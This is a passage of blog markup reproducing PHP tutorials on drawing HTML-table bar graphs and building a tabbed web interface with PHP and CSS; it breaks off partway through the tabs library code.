href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikcWMVdlofEj3KVZ3um38E_n69CP03rMjjnafWWKclhj2rmT7eVc09GgO_fvE-hsGOGv7Th_fwh54qLwZ-S0aNSA2LILY-y0NFvtwK_nSJM73Ttmf5ep5QM1Wokw5LUZ8qhG348-lhkqwA/s1600-h/11.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikcWMVdlofEj3KVZ3um38E_n69CP03rMjjnafWWKclhj2rmT7eVc09GgO_fvE-hsGOGv7Th_fwh54qLwZ-S0aNSA2LILY-y0NFvtwK_nSJM73Ttmf5ep5QM1Wokw5LUZ8qhG348-lhkqwA/s320/11.bmp" alt="" id="BLOGGER_PHOTO_ID_5020411030715898194" border="0" /></a> <p style="margin-top: 0.19in; margin-bottom: 0.19in;"><a name="idx-CHP-3-0077"></a><a name="idx-CHP-3-0078"></a> This simple page does a JavaScript source include on the ActiveWidgets grid control library. Then it loads the data into a JavaScript array and creates the grid control. The script then sets the data lookup to a local function called <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">dataLookup()</span></span>, which just returns the data at that row and column. The column headers work the same way.</p><br /><br /><p style="margin-bottom: 0in;" align="center"><br /></p> </span>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-9118022163677266850.post-26691230110063863432007-01-15T15:43:00.000-08:002007-01-16T01:03:12.895-08:00Build Lightweight HTML Graphs With PHP<span class="fullpost"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-DkOPmZRi305cBKH0P1kIjDlitCXS3oyX0jB2kGyu0pNIb84gN6KyWve6RPmfr-XZnP11CuK5D8JnRpF4EMdoMuokTBh34O6uYkjDOXMH_ZbhrJD54HCJXOUPpLbr7SBtzcsmGYCQxh5v/s1600-h/10.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-DkOPmZRi305cBKH0P1kIjDlitCXS3oyX0jB2kGyu0pNIb84gN6KyWve6RPmfr-XZnP11CuK5D8JnRpF4EMdoMuokTBh34O6uYkjDOXMH_ZbhrJD54HCJXOUPpLbr7SBtzcsmGYCQxh5v/s320/10.bmp" alt="" id="BLOGGER_PHOTO_ID_5020407843850164546" border="0" /></a></span><br />Use HTML to create simple graphs for your data. <p style="margin-top: 0.19in; margin-bottom: 0.19in;">It seems as though every site you go to these days requires QuickTime or Flash so that you can see fancy images and graphs. For simple bar graphs, though, you don't need fancy image rendering or Flash movies. You can use this hack to create bar graphs with just a few HTML tables and some PHP. The result looks just as cool as those other Flash-heavy sites but doesn't require any extra plug-ins or downloads.</p><span class="fullpost"> <h4 class="western"><a name="phphks-CHP-2-SECT-7.1"></a>The Code</h4> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">Save the code in Example 1 as htmlgraph.php.</p> <h5 class="western"><a name="phphks-CHP-2-EXAMPLE-14"></a>Example 1. Drawing some simple bar graphs</h5> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <html></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $data = array(</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "movies", 20 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "food", 30 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "workout", 10 ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "work", 40 )</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> );</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $max = 0;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> foreach ( $data as $d ) { $max += $d[1]; }</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <body></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <table width="400" cellspacing="0" cellpadding="2"></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <? foreach( $data as $d ) {</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $percent = ( $d[1] / $max ) * 100;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <tr></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <td width="20%"><? echo( $d[0] ) ?></td></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <td width="10%"><? echo( $d[1] ) ?>%</td></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <td></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <table width="<? echo($percent) ?>%" bgcolor="#aaa"></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <span lang="sv-SE"><tr><td> </td></tr></span></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><span lang="sv-SE"> </span></table></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </td></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </tr></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <? } ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </table></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </body></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </html></span></span></p> <p style="margin-bottom: 0in;"><br /></p> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">You can use several techniques to create HTML graphs. I chose to use two tables; the first contains the textual data, and the second contains a set of nested tables, each with a width value based on the graph value in that row.</p> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">I calculate the width by first finding the maximum value of the combined data, and storing that in <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$max</span></span>. I then derive the percentage by dividing <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$max</span></span> by the current value, and multiplying the result by 100 (to set the scale between 0 and 100). That number is stored in <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$percent</span></span>, which is then used in the width attribute of the table.</p> <h4 class="western">Running</h4> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">Use your browser to surf to the htmlgraph.php page. You should see something similar to Figure 1</p> <h5 class="western" align="center">Figure 1. The simple HTML graph as seen in Safari</h5><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-DkOPmZRi305cBKH0P1kIjDlitCXS3oyX0jB2kGyu0pNIb84gN6KyWve6RPmfr-XZnP11CuK5D8JnRpF4EMdoMuokTBh34O6uYkjDOXMH_ZbhrJD54HCJXOUPpLbr7SBtzcsmGYCQxh5v/s1600-h/10.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-DkOPmZRi305cBKH0P1kIjDlitCXS3oyX0jB2kGyu0pNIb84gN6KyWve6RPmfr-XZnP11CuK5D8JnRpF4EMdoMuokTBh34O6uYkjDOXMH_ZbhrJD54HCJXOUPpLbr7SBtzcsmGYCQxh5v/s320/10.bmp" alt="" id="BLOGGER_PHOTO_ID_5020407843850164546" border="0" /></a> <h4 class="western">Start Running</h4> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">I admit that gray is not the prettiest color for a graph, so Example 2 is a slightly altered version of the script, which adds a little color to the data.</p> <h5 class="western"><a name="phphks-CHP-2-EXAMPLE-15"></a>Example 2. Adding a splash of color</h5> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <html></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $data = array(</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "movies", 20, "red" ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "food", 30, "green" ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "workout", 10, "blue" ),</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> array( "work", 40, "black" )</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> );</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $max = 0;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> foreach ( $data as $d ) { $max += $d[1]; }</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <body></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <table width="400" cellspacing="0" cellpadding="2"></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <? foreach( $data as $d ) {</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $percent = ( $d[1] / $max ) * 100;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <tr></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <td width="20%"><? echo( $d[0] ) ?></td></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <td width="10%"><? echo( $d[1] ) ?>%</td></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <td></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <table width="<? echo($percent) ?>%" <b>bgcolor="<? echo($d[2]) ?></b>"></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <span lang="sv-SE"><tr><td> </td></tr></span></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><span lang="sv-SE"> </span></table></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </td></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </tr></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <? } ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </table></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </body></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </html></span></span></p> <p style="margin-bottom: 0in;"><br /></p> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">The new third value is used to set the background color of the bar graph table. This gives the output a rainbow look that is a little nicer on the eyes than the gray version.</p></span>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-66588981800432538682007-01-15T15:35:00.000-08:002007-01-15T16:12:48.893-08:00Add Tabs to Your Web Interface Using PHP and CSS<span class="fullpost"><p style="margin-top: 0.19in; margin-bottom: 0.19in;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvQZc__Q0K_WfarzLEm07Qg2hOYF9JKialrVRcW2mRAA7EX5bbW5nGiSXLSikz_XJFeuLzAi00UdHu7eZPQH7see8N_dY33sQM6s6x_ivyB1bQe7rCY-K1s27nxw2CbhN12W5aE8K-aQQ/s1600-h/8.bmp"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvQZc__Q0K_WfarzLEm07Qg2hOYF9JKialrVRcW2mRAA7EX5bbW5nGiSXLSikz_XJFeuLzAi00UdHu7eZPQH7see8N_dY33sQM6s6x_ivyB1bQe7rCY-K1s27nxw2CbhN12W5aE8K-aQQ/s320/8.bmp" alt="" id="BLOGGER_PHOTO_ID_5020405653416843554" border="0" /></a></p></span><br />Use HTML and CSS to create a tabbed interface for your web application. <p style="margin-top: 0.19in; margin-bottom: 0.19in;">Sometimes there is just too much data to put onto one web page. An easy way to break up a site (or even a content-heavy page) is to display it using tabs, where the data is broken up into subelements, each correlating to a named tab. Lucky for us, tabs are a piece of cake with PHP.</p><span class="fullpost"> <h4 class="western"><a name="phphks-CHP-2-SECT-5.1"></a>The Code</h4> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">Save the code in Example 1 as index.php.</p> <h5 class="western"><a name="phphks-CHP-2-EXAMPLE-9"></a>Example 1. Using the tabs library to show a tabbed interface</h5> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> require_once("tabs.php");</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <html></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <head></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php tabs_header(); ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </head></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <body></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <div style="width:600px;"></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php tabs_start(); ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php tab( "Tab one" ); ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> This is the first tab.</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php tab( "Tab two" ); ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> This is the second tab.</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php tabs_end(); ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </div></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </body></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </html></span></span></p> <p style="margin-bottom: 0in;"><br /></p> <p style="margin-top: 0.19in; margin-bottom: 0.19in;">Next, code up a nice PHP and CSS library. Save the code in Example 2 as tabs.php.</p> <h5 class="western"><a name="phphks-CHP-2-EXAMPLE-10"></a>Example 2. Using PHP and some CSS to create user-friendly tabs</h5> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $tabs = array();</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> function tabs_header()</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> {</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <style type="text/css"></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> .tab {</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> border-bottom: 1px solid black;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> text-align: center;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> font-family: arial, verdana;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> }</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> .tab-active { </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> border-left: 1px solid black; </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> border-top: 1px solid black; </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> border-right: 1px solid black; </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> text-align: center; </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> font-family: arial, verdana; </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> font-weight: bold;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> }</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> .tab-content { </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> padding: 5px; </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> border-left: 1px solid black; </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> border-right: 1px solid black; </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> border-bottom: 1px solid black;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> } </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> </style> </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> }</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> function tabs_start()</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> { </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">ob_start(); </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> }</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> function endtab() </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> { </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> global $tabs;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $text = ob_get_clean();</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$tabs[ count( $tabs ) - 1 ][ 'text' ] = $text;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> ob_start();</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> }</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> function tab( $title ) </span></span> </p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> {</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> global $tabs;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> if ( count( $tabs ) > 0 )</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> endtab();</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $tabs []= array(</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> title => $title,</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> text => ""</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> );</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> }</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> function tabs_end( )</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> {</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> global $tabs;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> endtab( );</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> ob_end_clean( );</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $index = 0;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> if ( $_GET['tabindex'] )</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $index = $_GET['tabindex'];</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> ?></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <table width="100%" cellspacing="0" cellpadding="0"></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <tr></span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> <?php</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $baseuri = $_SERVER['REQUEST_URI'];</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $baseuri = preg_replace( "/\?.*$/", "", $baseuri );</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span style="font-size:85%;"> $curindex = 0;</span></span></p> <p style="margin-bottom: 0in; color: rgb(153, 0, 0);"><span style="font-family:Courier New,monospace;"><span 